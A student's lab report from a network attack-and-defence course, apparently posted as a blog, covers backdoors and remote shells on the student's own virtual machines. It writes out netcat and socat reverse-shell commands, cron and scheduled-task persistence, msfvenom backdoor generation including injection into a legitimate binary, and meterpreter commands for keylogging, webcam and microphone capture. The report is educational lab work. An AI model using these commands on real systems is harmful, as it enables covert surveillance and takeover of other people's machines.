20234320 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20234320 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

  • 1.1 了解后门的基本概念
  • 1.2 使用netcat和socat获取远程Shell,并使用cron启动任务
  • 1.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell,获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

2.实践环境

基于VMware的Kali虚拟机,版本如下图
image
win11,版本如下图
image
当前电脑中Windows defender已经关闭,防护软件为火绒

3.实验过程

3.1使用netcat获取主机操作Shell,cron启动某项任务

3.1.1Windows获取Linux Shell

  1. 在Windows主机上,执行ipconfig命令,查看主机的ip地址,此处为192.168.56.1
    image
  2. 在Windows主机上,进入netcat所在目录,打开PowerShell,执行./ncat.exe -l -p 7777,监听本机7777端口
    image
  3. 在kali终端,输入命令nc 192.168.56.1 7777 -e /bin/sh,让虚拟机主动连接到ip为192.168.56.1的机器的7777端口
    image
  4. 反弹连接成功,windows获得kali终端的控制器,可以执行命令
    image

3.1.2cron定时连接攻击机

  1. 输入命令crontab -e编辑crontab文件,因为之前已经使用过crontab,选择了第二种修改方式,此处没有重新选择
    image
  2. 在cron表的末尾添加命令50 * * * * /bin/netcat 192.168.56.1 7777 -e /bin/sh,攻击机的监听端口需保持监听,kali会在每个小时的50分自动连接对应ip的7777端口,crontab -l可以查看当前的cron表
    image
  3. 等待到50分时,windows和kali建立反弹连接成功,可以执行命令
    image

3.2使用socat获取主机的Shell,并设置定时任务

3.2.1使用socat获取主机的Shell

  1. 下载socat压缩包后解压
    在此附件下载socat
  2. 在解压后的文件夹打开PowerShell输入命令./socat.exe tcp-listen:7788 exec:cmd.exe,pty,stderr,在本机上监听7788端口
    image
  3. 在虚拟机上输入命令socat - tcp:192.168.56.1:7788,尝试连接192.168.56.1的机器的7788端口,然后将当前终端的输入发送到对方主机上,并把对方返回的数据显示在此终端
    image

3.2.2设置定时任务

  1. 编写一个程序,打印我的名字,命名为我的学号,编译为可执行文件
    image
  2. 在虚拟机中,输入命令schtasks /create /sc minute /mo 1 /tn “20234320lzl"/tr C:\Users\23325\Desktop\c_code\test\20234320lzl.exe,在Windows系统上创建一个名为“20234320lzl”的定时任务,该任务会每分钟自动运行一次位于C:\Users\23325\Desktop\c_code\test\20234320lzl.exe的程序
    image
  3. 在任务计划程序中查看,任务成功创建
    image

3.3使用MSF meterpreter生成后门,传送到主机并运行获取主机Shell

3.3.1后门生成

  • 在虚拟机输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.218.129 LPORT=8888 -f exe > 20234320_backdoor.exe,生成一个在windows上运行的后门程序
    image

3.3.2文件传输

  • 将程序通过共享文件夹传输到windows中
    image

3.3.3解除隔离

  • 如果杀毒软件拦截了程序,直接手动将程序移出隔离区,放入信任区,防止后续操作中杀毒软件继续拦截行为
    image
    image

3.3.4配置监听模块

  • 在kali中输入msfconsole,打开msf控制台,对监听模块进行配置
点击查看代码
use exploit/multi/handler #等待并处理来自载荷的连接
set payload windows/meterpreter/reverse_tcp  #指定了监听器要处理的是一个Windows平台的、反向TCP连接的Meterpreter载荷
set LHOST 192.168.218.129  #表示在IP地址为192.168.218.129的网卡上进行监听,此处的IP地址需要填入Kali虚拟机的ip
set LPORT 8888 #在8888这个端口上进行监听
exploit #启动监听器

image

3.3.5在Windows主机上运行后门程序,连接成功

image
image

3.3.5使用MSF meterpreter生成获取目标主机资源的后门

点击查看代码
record_mic #从目标主机的默认麦克风录制音频
screenshot #表示获取目标主机当前屏幕的截图,保存为图片文件
webcam_snap #表示通过目标主机的摄像头拍摄一张照片
keyscan_start #表示开始捕获目标主机的键盘输入(键盘记录)
keyscan_dump #导出键盘记录缓存区的内容,将目标机上的按键记录输出在终端
keyscan_stop #手动停止

image
image
image

  • 在对应目录下查看获取的文件
    image

3.3.6尝试提权

  1. 通过命令getuid可查看初始用户名为:FOREST LUO\23325
    image
  2. 输入命令getsystem提权,由于 UAC 限制提权失败,需要提前关闭 UAC功能
    image

3.3.7使用MSF将后门注入合法程序并执行

  1. 输入命令msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=192.168.218.129 LPORT=8888 -x ex2/pwn -f elf > pwn_20234320_ex2,将一个Linux系统下的反向连接r后门,注入到已有的合法程序中,并生成一个新的、带有后门的可执行文件
    image
  2. 通过命令sudo chmod a+x pwn_20234320_ex2,使用管理员权限为程序添加可执行权限
    image
  3. 重新打开一个shell,输入msfconsole,再次进行监听配置,输入命令如下:
点击查看代码
 use exploit/multi/handler
 set payload linux/x86/meterpreter/reverse_tcp #注意这里需要使用linux而非windows
 set LHOST 192.168.218.129
 set LPORT 8888

image
4. 在原先的shell中运行文件pwn_20234320_ex2,连接成功
image

4.问题及解决

  1. 问题1:Kali虚拟机在Meterpreter会话建立后立刻关闭,并且没有其他的报错信息
    f55fbf947d3448df94297f2195c0d496
    解决1:
    第一步:查看windows事件查看器的报错信息,问题的原因在于Kali Linux系统中安装的Ruby版本(Ruby 3.1)与Metasploit框架当前版本所依赖的Ruby版本不兼容
    c9c3870028ce0fdc5e5de99762975ff5
    image
    第二步:在微软官方下载页面下载并安装Visual C++ Redistributable,选择vc_redist.x86.exe,在windows上运行安装程序
    第三步:在kali虚拟机上执行sudo apt update && sudo apt install metasploit-framework,更新Metasploit框架
  2. 问题2:screenshot无法使用,报错信息如下
    image
    解决2:经过延长等待时间测试,该windos版本screenshot无法使用,需要对windos版本进行回退

5.回答问题

  1. 列举你能想到的一个后门进入到你系统中的可能方式
    通过自建网站提供盗版软件资源,在软件中植入后门,用户为了运行软件给予了软件较高权限,用户系统在静默下被获取关键权限与信息
  2. 列举你知道的后门如何启动起来(win及linux)的方式?
    Windows系统后门启动方式
  • 注册表启动项:在注册表键下添加一个指向后门程序的键值
  • Windows服务:后门可以将自己注册为一个系统服务,随系统启动而运行,并通常拥有 SYSTEM 等高权限
  • 计划任务:设定在特定时间、用户登录时、系统启动时或特定事件发生时触发后门
    Linux系统后门启动方式
  • Systemd:在后门程序所在目录创建一个.service 文件,然后放到/etc/systemd/system/或/usr/lib/systemd/system/下执行
  • Shell启动脚本:将后门植入特定的脚本,启用shell时后门生效
    Meterpreter有哪些给你映像深刻的功能
  • Meterpreter会话建立后,可以运用各种脚本脚本来自动化信息收集和权限维持,甚至可以直接通过脚本提权,这极大地便利了攻击的过程。通过观看桌面内容和获取键盘输入等可以让获取敏感信息更加便利。
  • Meterpreter内置了多种规避技术,可以生成各种格式的Payload,并配合编码器进行进一步混淆,来规避杀毒软件。
    如何发现自己有系统有没有被安装后门
  • 我认为最主要的还是不要关闭各类杀毒软件的功能,同时要重视杀软的警示信息;如果察觉到自己的设备受到侵入,可以重点关注敏感权限的使用情况,包括摄像头、麦克风等等,同时查看系统相关的日志、计划任务等,是否有异常记录。

6.学习思考与感悟

本次实验围绕后门植入与远程控制技术展开,全面覆盖了基础网络工具利用、自动化任务配置、MSF框架应用及漏洞注入等核心攻防场景。通过实验,成功实现了基于netcat和socat的跨系统反弹Shell获取,配置了Linux cron与Windows任务计划的自动化攻击触发机制,利用MSF框架生成后门程序并窃取目标主机的音频、摄像头、击键记录等敏感信息,同时尝试了权限提升及shellcode注入操作,完整验证了从攻击发起、会话维持到信息窃取的全流程攻防技术。
本次实验中,我体会到了netcat和socat的用途广泛,在攻击者手中可以成为建立反向Shell的利器,同时这也让我意识到做好ip地址和端口管理的重要性,不要在联网上暴露自己的ip地址、不要开放未使用的端口、不要使用弱口令,这些都会成为攻击者实施攻击的关键突破口。
本次课程还让我认识到数字证书认证和可信软件分发平台的重要性,如果我们在获取软件时没有正版意识,就很有可能被恶意植入的后门获取敏感权限和信息,数字证书认证和可信软件分发平台为我们在网络世界中获取信息和服务提供了保障。
本次实验过程也让我意识到,真实的攻击过程往往需要结合多种漏洞共同完成,在设计攻击链时,需要绕过诸多限制条件,以本次实验为例,需要考虑如何将后门程序传入受攻击的系统,如何关闭其杀毒软件或者做好程序免杀,如何在较差的网络环境中完成攻击并隐藏自己的流量,如何隐蔽地调用关键权限,这些问题都等待着我们未来去思考和解决。

posted @ 2025-10-22 23:00  linlinluo  阅读(60)  评论(0)    收藏  举报